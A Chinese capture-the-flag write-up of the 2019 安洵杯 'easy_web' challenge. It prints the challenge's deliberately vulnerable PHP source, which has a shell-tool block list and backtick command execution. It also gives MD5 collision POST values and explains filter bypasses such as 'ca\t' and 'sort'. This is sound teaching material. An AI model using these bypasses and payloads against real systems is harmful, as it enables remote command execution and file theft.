IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [安洵杯 2019]easy_web -> 正文阅读

[PHP知识库][安洵杯 2019]easy_web

解题的痛苦经历

每次解web题都是一次难忘的经历,这次也不意外。虽然途中有很多次奔溃了,但是没办法,菜就是原罪。通过这道题也学到不少知识。

  • GET和POST方法:这俩种请求方法在BP里不要随便修改这俩种方法在请求报文中有一定的差别,需要POST数据时请求方法要用POST不是GET。
  • hackbar和BP:选择这俩个方式提交请求也有区别,尽量不要使用hackbar来发请求然后BP再拦截请求,要用就用一个,用BP更好一些。

考点

  • 信息解锁
  • 代码审计
  • MD5强碰撞
  • RCE绕过
  • PHP反斜杠\匹配问题

解题过程

在这里插入图片描述
看一看源代码
在这里插入图片描述一个base64的编码,但是解码不出来估计是图片什么的加密。
观察url发现有俩个参数img貌似是一个base64加密后的码,经过俩次base64解密和一次hex解码后发现是555.png,访问这一个图片。原来是那个流泪的熊猫,猜测是不是把flag.php经过一顿编码操作是不是也可以在网页源码中看到base64编码后的源代码,尝试一下无果,xixi~ no flag。既然不能是flag.php,看一下其他文件获取能得到结果,尝试index.php。最后得到了

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))  
// img不存在就执行,img存在但cmd不存在也执行
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

关键信息,终于得到了。接下来就是代码审计了

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";

前面部分比较简单,所以就不说明了。看这一部分,$file变量部分先进行正则表达式判断然后if判断是否存在flag,很明显过滤了flag仔细考究后通过这一部分是读取不到flag.php的。接着往下看吧。

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

看到了echo ``,这是RCE命令执行PHP执行运算符 。绕过俩个if即可执行命令,第二个if是MD5强碰撞。参考文章:PHP弱类型&&md5碰撞总结。因为是POST传参所以要用POST请求。

  • a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
  • b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

过滤了ls没关系还可以使用dir查看目录,cat被过滤可以使用ca\t绕过或者·使用sort。(因为url编码的问题要把空格改为+或者%20,不是因为过滤。)
在这里插入图片描述在这里插入图片描述
这里可能就会产生疑问\不是已经被过滤了吗,那么这为什么还可以使用\呢?PHP反斜杠匹配问题
在preg_match中要过滤\是需要四个\\\\才可以达到目的,经过两次解析,第一层Php解析器解析成\\,然后正则匹配解析成,所以只过滤了一个\
出题人这里大概是想过滤\\\, 但是写法出错了
|\\| 实际上经过php解析器后成,然后再经过正则解析成| ,所以就成了过滤| ,然后再与后面的|\\\\| 拼接,|\\|\\\\|实际上过滤的是|\
在这里插入图片描述

参考文章

buuctf [安洵杯 2019]easy_web 记录
php如何调用linux命令
PHP执行运算符
PHP弱类型&&md5碰撞总结
php正则错误反斜杠过滤

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-03 11:40:27  更:2021-09-03 11:41:32 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 21:26:49-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计